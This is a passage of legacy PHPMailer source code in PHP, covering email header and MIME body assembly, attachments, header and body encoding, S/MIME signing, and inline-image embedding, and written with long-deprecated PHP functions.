2204 $uniq_id = md5(uniqid(time()));
2205 $this->boundary[1] = 'b1_' . $uniq_id;
2206 $this->boundary[2] = 'b2_' . $uniq_id;
2207
2208 $result .= $this->HeaderLine('Date', $this->RFCDate());
2209 if($this->Sender == '') {
2210 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2211 } else {
2212 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2213 }
2214
2215 /* To be created automatically by mail() */
2216 if($this->Mailer != 'mail') {
2217 if(count($this->to) > 0) {
2218 $result .= $this->AddrAppend('To', $this->to);
2219 } elseif (count($this->cc) == 0) {
2220 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2221 }
2222 if(count($this->cc) > 0) {
2223 $result .= $this->AddrAppend('Cc', $this->cc);
2224 }
2225 }
2226
2227 $from = array();
2228 $from[0][0] = trim($this->From);
2229 $from[0][1] = $this->FromName;
2230 $result .= $this->AddrAppend('From', $from);
2231
2232 /* sendmail and mail() extract Cc from the header before sending */
2233 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2234 $result .= $this->AddrAppend('Cc', $this->cc);
2235 }
2236
2237 /* sendmail and mail() extract Bcc from the header before sending */
2238 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2239 $result .= $this->AddrAppend('Bcc', $this->bcc);
2240 }
2241
2242 if(count($this->ReplyTo) > 0) {
2243 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2244 }
2245
2246 /* mail() sets the subject itself */
2247 if($this->Mailer != 'mail') {
2248 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2249 }
2250
2251 if($this->MessageID != '') {
2252 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2253 } else {
2254 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2255 }
2256 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2257 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2258
2259 if($this->ConfirmReadingTo != '') {
2260 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2261 }
2262
2263 // Add custom headers
2264 for($index = 0; $index < count($this->CustomHeader); $index++) {
2265 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2266 }
2267 if (!$this->sign_key_file) {
2268 $result .= $this->HeaderLine('MIME-Version', '1.0');
2269 $result .= $this->GetMailMIME();
2270 }
2271
2272 return $result;
2273 }
2274
2275 /**
2276 * Returns the message MIME.
2277 * @access private
2278 * @return string
2279 */
2280 function GetMailMIME() {
2281 $result = '';
2282 switch($this->message_type) {
2283 case 'plain':
2284 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2285 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2286 break;
2287 case 'attachments':
2288 /* fall through */
2289 case 'alt_attachments':
2290 if($this->InlineImageExists()){
2291 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2292 } else {
2293 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2294 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2295 }
2296 break;
2297 case 'alt':
2298 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2299 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2300 break;
2301 }
2302
2303 if($this->Mailer != 'mail') {
2304 $result .= $this->LE.$this->LE;
2305 }
2306
2307 return $result;
2308 }
2309
2310 /**
2311 * Assembles the message body. Returns an empty string on failure.
2312 * @access private
2313 * @return string
2314 */
2315 function CreateBody() {
2316 $result = '';
2317 if ($this->sign_key_file) {
2318 $result .= $this->GetMailMIME();
2319 }
2320
2321 $this->SetWordWrap();
2322
2323 switch($this->message_type) {
2324 case 'alt':
2325 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2326 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2327 $result .= $this->LE.$this->LE;
2328 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2329 $result .= $this->EncodeString($this->Body, $this->Encoding);
2330 $result .= $this->LE.$this->LE;
2331 $result .= $this->EndBoundary($this->boundary[1]);
2332 break;
2333 case 'plain':
2334 $result .= $this->EncodeString($this->Body, $this->Encoding);
2335 break;
2336 case 'attachments':
2337 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2338 $result .= $this->EncodeString($this->Body, $this->Encoding);
2339 $result .= $this->LE;
2340 $result .= $this->AttachAll();
2341 break;
2342 case 'alt_attachments':
2343 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2344 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2345 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2346 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2347 $result .= $this->LE.$this->LE;
2348 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2349 $result .= $this->EncodeString($this->Body, $this->Encoding);
2350 $result .= $this->LE.$this->LE;
2351 $result .= $this->EndBoundary($this->boundary[2]);
2352 $result .= $this->AttachAll();
2353 break;
2354 }
2355
2356 if($this->IsError()) {
2357 $result = '';
2358 } else if ($this->sign_key_file) {
2359 $file = tempnam("", "mail");
2360 $fp = fopen($file, "w");
2361 fwrite($fp, $result);
2362 fclose($fp);
2363 $signed = tempnam("", "signed");
2364
2365 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2366 $fp = fopen($signed, "r");
2367 $result = fread($fp, filesize($this->sign_key_file));
2368 fclose($fp);
2369 } else {
2370 $this->SetError($this->Lang("signing").openssl_error_string());
2371 $result = '';
2372 }
2373
2374 unlink($file);
2375 unlink($signed);
2376 }
2377
2378 return $result;
2379 }
2380
2381 /**
2382 * Returns the start of a message boundary.
2383 * @access private
2384 */
2385 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2386 $result = '';
2387 if($charSet == '') {
2388 $charSet = $this->CharSet;
2389 }
2390 if($contentType == '') {
2391 $contentType = $this->ContentType;
2392 }
2393 if($encoding == '') {
2394 $encoding = $this->Encoding;
2395 }
2396 $result .= $this->TextLine('--' . $boundary);
2397 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2398 $result .= $this->LE;
2399 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2400 $result .= $this->LE;
2401
2402 return $result;
2403 }
2404
2405 /**
2406 * Returns the end of a message boundary.
2407 * @access private
2408 */
2409 function EndBoundary($boundary) {
2410 return $this->LE . '--' . $boundary . '--' . $this->LE;
2411 }
2412
2413 /**
2414 * Sets the message type.
2415 * @access private
2416 * @return void
2417 */
2418 function SetMessageType() {
2419 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2420 $this->message_type = 'plain';
2421 } else {
2422 if(count($this->attachment) > 0) {
2423 $this->message_type = 'attachments';
2424 }
2425 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2426 $this->message_type = 'alt';
2427 }
2428 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2429 $this->message_type = 'alt_attachments';
2430 }
2431 }
2432 }
2433
2434 /* Returns a formatted header line.
2435 * @access private
2436 * @return string
2437 */
2438 function HeaderLine($name, $value) {
2439 return $name . ': ' . $value . $this->LE;
2440 }
2441
2442 /**
2443 * Returns a formatted mail line.
2444 * @access private
2445 * @return string
2446 */
2447 function TextLine($value) {
2448 return $value . $this->LE;
2449 }
2450
2451 /////////////////////////////////////////////////
2452 // CLASS METHODS, ATTACHMENTS
2453 /////////////////////////////////////////////////
2454
2455 /**
2456 * Adds an attachment from a path on the filesystem.
2457 * Returns false if the file could not be found
2458 * or accessed.
2459 * @param string $path Path to the attachment.
2460 * @param string $name Overrides the attachment name.
2461 * @param string $encoding File encoding (see $Encoding).
2462 * @param string $type File extension (MIME) type.
2463 * @return bool
2464 */
2465 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2466 if(!@is_file($path)) {
2467 $this->SetError($this->Lang('file_access') . $path);
2468 return false;
2469 }
2470
2471 $filename = basename($path);
2472 if($name == '') {
2473 $name = $filename;
2474 }
2475
2476 $cur = count($this->attachment);
2477 $this->attachment[$cur][0] = $path;
2478 $this->attachment[$cur][1] = $filename;
2479 $this->attachment[$cur][2] = $name;
2480 $this->attachment[$cur][3] = $encoding;
2481 $this->attachment[$cur][4] = $type;
2482 $this->attachment[$cur][5] = false; // isStringAttachment
2483 $this->attachment[$cur][6] = 'attachment';
2484 $this->attachment[$cur][7] = 0;
2485
2486 return true;
2487 }
2488
2489 /**
2490 * Attaches all fs, string, and binary attachments to the message.
2491 * Returns an empty string on failure.
2492 * @access private
2493 * @return string
2494 */
2495 function AttachAll() {
2496 /* Return text of body */
2497 $mime = array();
2498
2499 /* Add all attachments */
2500 for($i = 0; $i < count($this->attachment); $i++) {
2501 /* Check for string attachment */
2502 $bString = $this->attachment[$i][5];
2503 if ($bString) {
2504 $string = $this->attachment[$i][0];
2505 } else {
2506 $path = $this->attachment[$i][0];
2507 }
2508
2509 $filename = $this->attachment[$i][1];
2510 $name = $this->attachment[$i][2];
2511 $encoding = $this->attachment[$i][3];
2512 $type = $this->attachment[$i][4];
2513 $disposition = $this->attachment[$i][6];
2514 $cid = $this->attachment[$i][7];
2515
2516 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2517 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2518 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2519
2520 if($disposition == 'inline') {
2521 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2522 }
2523
2524 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2525
2526 /* Encode as string attachment */
2527 if($bString) {
2528 $mime[] = $this->EncodeString($string, $encoding);
2529 if($this->IsError()) {
2530 return '';
2531 }
2532 $mime[] = $this->LE.$this->LE;
2533 } else {
2534 $mime[] = $this->EncodeFile($path, $encoding);
2535 if($this->IsError()) {
2536 return '';
2537 }
2538 $mime[] = $this->LE.$this->LE;
2539 }
2540 }
2541
2542 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2543
2544 return join('', $mime);
2545 }
2546
2547 /**
2548 * Encodes attachment in requested format. Returns an
2549 * empty string on failure.
2550 * @access private
2551 * @return string
2552 */
2553 function EncodeFile ($path, $encoding = 'base64') {
2554 if(!@$fd = fopen($path, 'rb')) {
2555 $this->SetError($this->Lang('file_open') . $path);
2556 return '';
2557 }
2558 $magic_quotes = get_magic_quotes_runtime();
2559 set_magic_quotes_runtime(0);
2560 $file_buffer = fread($fd, filesize($path));
2561 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2562 fclose($fd);
2563 set_magic_quotes_runtime($magic_quotes);
2564
2565 return $file_buffer;
2566 }
2567
2568 /**
2569 * Encodes string to requested format. Returns an
2570 * empty string on failure.
2571 * @access private
2572 * @return string
2573 */
2574 function EncodeString ($str, $encoding = 'base64') {
2575 $encoded = '';
2576 switch(strtolower($encoding)) {
2577 case 'base64':
2578 /* chunk_split is found in PHP >= 3.0.6 */
2579 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2580 break;
2581 case '7bit':
2582 case '8bit':
2583 $encoded = $this->FixEOL($str);
2584 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2585 $encoded .= $this->LE;
2586 break;
2587 case 'binary':
2588 $encoded = $str;
2589 break;
2590 case 'quoted-printable':
2591 $encoded = $this->EncodeQP($str);
2592 break;
2593 default:
2594 $this->SetError($this->Lang('encoding') . $encoding);
2595 break;
2596 }
2597 return $encoded;
2598 }
2599
2600 /**
2601 * Encode a header string to best of Q, B, quoted or none.
2602 * @access private
2603 * @return string
2604 */
2605 function EncodeHeader ($str, $position = 'text') {
2606 $x = 0;
2607
2608 switch (strtolower($position)) {
2609 case 'phrase':
2610 if (!preg_match('/[\200-\377]/', $str)) {
2611 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2612 $encoded = addcslashes($str, "\0..\37\177\\\"");
2613 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2614 return ($encoded);
2615 } else {
2616 return ("\"$encoded\"");
2617 }
2618 }
2619 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2620 break;
2621 case 'comment':
2622 $x = preg_match_all('/[()"]/', $str, $matches);
2623 /* Fall-through */
2624 case 'text':
2625 default:
2626 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2627 break;
2628 }
2629
2630 if ($x == 0) {
2631 return ($str);
2632 }
2633
2634 $maxlen = 75 - 7 - strlen($this->CharSet);
2635 /* Try to select the encoding which should produce the shortest output */
2636 if (strlen($str)/3 < $x) {
2637 $encoding = 'B';
2638 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2639 // Use a custom function which correctly encodes and wraps long
2640 // multibyte strings without breaking lines within a character
2641 $encoded = $this->Base64EncodeWrapMB($str);
2642 } else {
2643 $encoded = base64_encode($str);
2644 $maxlen -= $maxlen % 4;
2645 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2646 }
2647 } else {
2648 $encoding = 'Q';
2649 $encoded = $this->EncodeQ($str, $position);
2650 $encoded = $this->WrapText($encoded, $maxlen, true);
2651 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2652 }
2653
2654 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2655 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2656
2657 return $encoded;
2658 }
2659
2660 /**
2661 * Checks if a string contains multibyte characters.
2662 * @access private
2663 * @param string $str multi-byte text to wrap encode
2664 * @return bool
2665 */
2666 function HasMultiBytes($str) {
2667 if (function_exists('mb_strlen')) {
2668 return (strlen($str) > mb_strlen($str, $this->CharSet));
2669 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2670 return False;
2671 }
2672 }
2673
2674 /**
2675 * Correctly encodes and wraps long multibyte strings for mail headers
2676 * without breaking lines within a character.
2677 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2678 * @access private
2679 * @param string $str multi-byte text to wrap encode
2680 * @return string
2681 */
2682 function Base64EncodeWrapMB($str) {
2683 $start = "=?".$this->CharSet."?B?";
2684 $end = "?=";
2685 $encoded = "";
2686
2687 $mb_length = mb_strlen($str, $this->CharSet);
2688 // Each line must have length <= 75, including $start and $end
2689 $length = 75 - strlen($start) - strlen($end);
2690 // Average multi-byte ratio
2691 $ratio = $mb_length / strlen($str);
2692 // Base64 has a 4:3 ratio
2693 $offset = $avgLength = floor($length * $ratio * .75);
2694
2695 for ($i = 0; $i < $mb_length; $i += $offset) {
2696 $lookBack = 0;
2697
2698 do {
2699 $offset = $avgLength - $lookBack;
2700 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2701 $chunk = base64_encode($chunk);
2702 $lookBack++;
2703 }
2704 while (strlen($chunk) > $length);
2705
2706 $encoded .= $chunk . $this->LE;
2707 }
2708
2709 // Chomp the last linefeed
2710 $encoded = substr($encoded, 0, -strlen($this->LE));
2711 return $encoded;
2712 }
2713
2714 /**
2715 * Encode string to quoted-printable.
2716 * @access private
2717 * @return string
2718 */
2719 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2720 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2721 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2722 $eol = "\r\n";
2723 $escape = '=';
2724 $output = '';
2725 while( list(, $line) = each($lines) ) {
2726 $linlen = strlen($line);
2727 $newline = '';
2728 for($i = 0; $i < $linlen; $i++) {
2729 $c = substr( $line, $i, 1 );
2730 $dec = ord( $c );
2731 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2732 $c = '=2E';
2733 }
2734 if ( $dec == 32 ) {
2735 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2736 $c = '=20';
2737 } else if ( $space_conv ) {
2738 $c = '=20';
2739 }
2740 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2741 $h2 = floor($dec/16);
2742 $h1 = floor($dec%16);
2743 $c = $escape.$hex[$h2].$hex[$h1];
2744 }
2745 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2746 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2747 $newline = '';
2748 // check if newline first character will be point or not
2749 if ( $dec == 46 ) {
2750 $c = '=2E';
2751 }
2752 }
2753 $newline .= $c;
2754 } // end of for
2755 $output .= $newline.$eol;
2756 } // end of while
2757 return trim($output);
2758 }
2759
2760 /**
2761 * Encode string to q encoding.
2762 * @access private
2763 * @return string
2764 */
2765 function EncodeQ ($str, $position = 'text') {
2766 /* There should not be any EOL in the string */
2767 $encoded = preg_replace("[\r\n]", '', $str);
2768
2769 switch (strtolower($position)) {
2770 case 'phrase':
2771 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2772 break;
2773 case 'comment':
2774 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2775 case 'text':
2776 default:
2777 /* Replace every high ascii, control =, ? and _ characters */
2778 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2779 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2780 break;
2781 }
2782
2783 /* Replace every spaces to _ (more readable than =20) */
2784 $encoded = str_replace(' ', '_', $encoded);
2785
2786 return $encoded;
2787 }
2788
2789 /**
2790 * Adds a string or binary attachment (non-filesystem) to the list.
2791 * This method can be used to attach ascii or binary data,
2792 * such as a BLOB record from a database.
2793 * @param string $string String attachment data.
2794 * @param string $filename Name of the attachment.
2795 * @param string $encoding File encoding (see $Encoding).
2796 * @param string $type File extension (MIME) type.
2797 * @return void
2798 */
2799 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2800 /* Append to $attachment array */
2801 $cur = count($this->attachment);
2802 $this->attachment[$cur][0] = $string;
2803 $this->attachment[$cur][1] = $filename;
2804 $this->attachment[$cur][2] = $filename;
2805 $this->attachment[$cur][3] = $encoding;
2806 $this->attachment[$cur][4] = $type;
2807 $this->attachment[$cur][5] = true; // isString
2808 $this->attachment[$cur][6] = 'attachment';
2809 $this->attachment[$cur][7] = 0;
2810 }
2811
2812 /**
2813 * Adds an embedded attachment. This can include images, sounds, and
2814 * just about any other document. Make sure to set the $type to an
2815 * image type. For JPEG images use "image/jpeg" and for GIF images
2816 * use "image/gif".
2817 * @param string $path Path to the attachment.
2818 * @param string $cid Content ID of the attachment. Use this to identify
2819 * the Id for accessing the image in an HTML form.
2820 * @param string $name Overrides the attachment name.
2821 * @param string $encoding File encoding (see $Encoding).
2822 * @param string $type File extension (MIME) type.
2823 * @return bool
2824 */
2825 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2826
2827 if(!@is_file($path)) {
2828 $this->SetError($this->Lang('file_access') . $path);
2829 return false;
2830 }
2831
2832 $filename = basename($path);
2833 if($name == '') {
2834 $name = $filename;
2835 }
2836
2837 /* Append to $attachment array */
2838 $cur = count($this->attachment);
2839 $this->attachment[$cur][0] = $path;
2840 $this->attachment[$cur][1] = $filename;
2841 $this->attachment[$cur][2] = $name;
2842 $this->attachment[$cur][3] = $encoding;
2843 $this->attachment[$cur][4] = $type;
2844 $this->attachment[$cur][5] = false;
2845 $this->attachment[$cur][6] = 'inline';
2846 $this->attachment[$cur][7] = $cid;
2847
2848 return true;
2849 }
2850
2851 /**
2852 * Returns true if an inline attachment is present.
2853 * @access private
2854 * @return bool
2855 */
2856 function InlineImageExists() {
2857 $result = false;
2858 for($i = 0; $i < count($this->attachment); $i++) {
2859 if($this->attachment[$i][6] == 'inline') {
2860 $result = true;
2861 break;
2862 }
2863 }
2864
2865 return $result;
2866 }
2867
2868 /////////////////////////////////////////////////
2869 // CLASS METHODS, MESSAGE RESET
2870 /////////////////////////////////////////////////
2871
2872 /**
2873 * Clears all recipients assigned in the TO array. Returns void.
2874 * @return void
2875 */
2876 function ClearAddresses() {
2877 $this->to = array();
2878 }
2879
2880 /**
2881 * Clears all recipients assigned in the CC array. Returns void.
2882 * @return void
2883 */
2884 function ClearCCs() {
2885 $this->cc = array();
2886 }
2887
2888 /**
2889 * Clears all recipients assigned in the BCC array. Returns void.
2890 * @return void
2891 */
2892 function ClearBCCs() {
2893 $this->bcc = array();
2894 }
2895
2896 /**
2897 * Clears all recipients assigned in the ReplyTo array. Returns void.
2898 * @return void
2899 */
2900 function ClearReplyTos() {
2901 $this->ReplyTo = array();
2902 }
2903
2904 /**
2905 * Clears all recipients assigned in the TO, CC and BCC
2906 * array. Returns void.
2907 * @return void
2908 */
2909 function ClearAllRecipients() {
2910 $this->to = array();
2911 $this->cc = array();
2912 $this->bcc = array();
2913 }
2914
2915 /**
2916 * Clears all previously set filesystem, string, and binary
2917 * attachments. Returns void.
2918 * @return void
2919 */
2920 function ClearAttachments() {
2921 $this->attachment = array();
2922 }
2923
2924 /**
2925 * Clears all custom headers. Returns void.
2926 * @return void
2927 */
2928 function ClearCustomHeaders() {
2929 $this->CustomHeader = array();
2930 }
2931
2932 /////////////////////////////////////////////////
2933 // CLASS METHODS, MISCELLANEOUS
2934 /////////////////////////////////////////////////
2935
2936 /**
2937 * Adds the error message to the error container.
2938 * Returns void.
2939 * @access private
2940 * @return void
2941 */
2942 function SetError($msg) {
2943 $this->error_count++;
2944 $this->ErrorInfo = $msg;
2945 }
2946
2947 /**
2948 * Returns the proper RFC 822 formatted date.
2949 * @access private
2950 * @return string
2951 */
2952 function RFCDate() {
2953 $tz = date('Z');
2954 $tzs = ($tz < 0) ? '-' : '+';
2955 $tz = abs($tz);
2956 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2957 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2958
2959 return $result;
2960 }
2961
2962 /**
2963 * Returns the appropriate server variable. Should work with both
2964 * PHP 4.1.0+ as well as older versions. Returns an empty string
2965 * if nothing is found.
2966 * @access private
2967 * @return mixed
2968 */
2969 function ServerVar($varName) {
2970 global $HTTP_SERVER_VARS;
2971 global $HTTP_ENV_VARS;
2972
2973 if(!isset($_SERVER)) {
2974 $_SERVER = $HTTP_SERVER_VARS;
2975 if(!isset($_SERVER['REMOTE_ADDR'])) {
2976 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2977 }
2978 }
2979
2980 if(isset($_SERVER[$varName])) {
2981 return $_SERVER[$varName];
2982 } else {
2983 return '';
2984 }
2985 }
2986
2987 /**
2988 * Returns the server hostname or 'localhost.localdomain' if unknown.
2989 * @access private
2990 * @return string
2991 */
2992 function ServerHostname() {
2993 if ($this->Hostname != '') {
2994 $result = $this->Hostname;
2995 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2996 $result = $this->ServerVar('SERVER_NAME');
2997 } else {
2998 $result = 'localhost.localdomain';
2999 }
3000
3001 return $result;
3002 }
3003
3004 /**
3005 * Returns a message in the appropriate language.
3006 * @access private
3007 * @return string
3008 */
3009 function Lang($key) {
3010 if(count($this->language) < 1) {
3011 $this->SetLanguage('en'); // set the default language
3012 }
3013
3014 if(isset($this->language[$key])) {
3015 return $this->language[$key];
3016 } else {
3017 return 'Language string failed to load: ' . $key;
3018 }
3019 }
3020
3021 /**
3022 * Returns true if an error occurred.
3023 * @return bool
3024 */
3025 function IsError() {
3026 return ($this->error_count > 0);
3027 }
3028
3029 /**
3030 * Changes every end of line from CR or LF to CRLF.
3031 * @access private
3032 * @return string
3033 */
3034 function FixEOL($str) {
3035 $str = str_replace("\r\n", "\n", $str);
3036 $str = str_replace("\r", "\n", $str);
3037 $str = str_replace("\n", $this->LE, $str);
3038 return $str;
3039 }
3040
3041 /**
3042 * Adds a custom header.
3043 * @return void
3044 */
3045 function AddCustomHeader($custom_header) {
3046 $this->CustomHeader[] = explode(':', $custom_header, 2);
3047 }
3048
3049 /**
3050 * Evaluates the message and returns modifications for inline images and backgrounds
3051 * @access public
3052 * @return $message
3053 */
3054 function MsgHTML($message,$basedir='') {
3055 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3056 if(isset($images[2])) {
3057 foreach($images[2] as $i => $url) {
3058 // do not change urls for absolute images (thanks to corvuscorax)
3059 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3060 $filename = basename($url);
3061 $directory = dirname($url);
3062 ($directory == '.')?$directory='':'';
3063 $cid = 'cid:' . md5($filename);
3064 $fileParts = split("\.", $filename);
3065 $ext = $fileParts[1];
3066 $mimeType = $this->_mime_types($ext);
3067 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3068 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3069 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3070 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3071 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3072 }
3073 }
3074 }
3075 }
3076 $this->IsHTML(true);
3077 $this->Body = $message;
3078 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3079 if ( !empty($textMsg) && empty($this->AltBody) ) {
3080 $this->AltBody = $textMsg;
3081 }
3082 if ( empty($this->AltBody) ) {
3083 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3084 }
3085 }
3086
3087 /**
3088 * Gets the mime type of the embedded or inline image
3089 * @access private
3090 * @return mime type of ext
3091 */
3092 function _mime_types($ext = '') {
3093 $mimes = array(
3094 'hqx' => 'application/mac-binhex40',
3095 'cpt' => 'application/mac-compactpro',
3096 'doc' => 'application/msword',
3097 'bin' => 'application/macbinary',
3098 'dms' => 'application/octet-stream',
3099 'lha' => 'application/octet-stream',
3100 'lzh' => 'application/octet-stream',
3101 'exe' => 'application/octet-stream',
3102 'class' => 'application/octet-stream',
3103 'psd' => 'application/octet-stream',
3104 'so' => 'application/octet-stream',
3105 'sea' => 'application/octet-stream',
3106 'dll' => 'application/octet-stream',
3107 'oda' => 'application/oda',
3108 'pdf' => 'application/pdf',
3109 'ai' => 'application/postscript',
3110 'eps' => 'application/postscript',
3111 'ps' => 'application/postscript',
3112 'smi' => 'application/smil',
3113 'smil' => 'application/smil',
3114 'mif' => 'application/vnd.mif',
3115 'xls' => 'application/vnd.ms-excel',
3116 'ppt' => 'application/vnd.ms-powerpoint',
3117 'wbxml' => 'application/vnd.wap.wbxml',
3118 'wmlc' => 'application/vnd.wap.wmlc',
3119 'dcr' => 'application/x-director',
3120 'dir' => 'application/x-director',
3121 'dxr' => 'application/x-director',
3122 'dvi' => 'application/x-dvi',
3123 'gtar' => 'application/x-gtar',
3124 'php' => 'application/x-httpd-php',
3125 'php4' => 'application/x-httpd-php',
3126 'php3' => 'application/x-httpd-php',
3127 'phtml' => 'application/x-httpd-php',
3128 'phps' => 'application/x-httpd-php-source',
3129 'js' => 'application/x-javascript',
3130 'swf' => 'application/x-shockwave-flash',
3131 'sit' => 'application/x-stuffit',
3132 'tar' => 'application/x-tar',
3133 'tgz' => 'application/x-tar',
3134 'xhtml' => 'application/xhtml+xml',
3135 'xht' => 'application/xhtml+xml',
3136 'zip' => 'application/zip',
3137 'mid' => 'audio/midi',
3138 'midi' => 'audio/midi',
3139 'mpga' => 'audio/mpeg',
3140 'mp2' => 'audio/mpeg',
3141 'mp3' => 'audio/mpeg',
3142 'aif' => 'audio/x-aiff',
3143 'aiff' => 'audio/x-aiff',
3144 'aifc' => 'audio/x-aiff',
3145 'ram' => 'audio/x-pn-realaudio',
3146 'rm' => 'audio/x-pn-realaudio',
3147 'rpm' => 'audio/x-pn-realaudio-plugin',
3148 'ra' => 'audio/x-realaudio',
3149 'rv' => 'video/vnd.rn-realvideo',
3150 'wav' => 'audio/x-wav',
3151 'bmp' => 'image/bmp',
3152 'gif' => 'image/gif',
3153 'jpeg' => 'image/jpeg',
3154 'jpg' => 'image/jpeg',
3155 'jpe' => 'image/jpeg',
3156 'png' => 'image/png',
3157 'tiff' => 'image/tiff',
3158 'tif' => 'image/tiff',
3159 'css' => 'text/css',
3160 'html' => 'text/html',
3161 'htm' => 'text/html',
3162 'shtml' => 'text/html',
3163 'txt' => 'text/plain',
3164 'text' => 'text/plain',
3165 'log' => 'text/plain',
3166 'rtx' => 'text/richtext',
3167 'rtf' => 'text/rtf',
3168 'xml' => 'text/xml',
3169 'xsl' => 'text/xml',
3170 'mpeg' => 'video/mpeg',
3171 'mpg' => 'video/mpeg',
3172 'mpe' => 'video/mpeg',
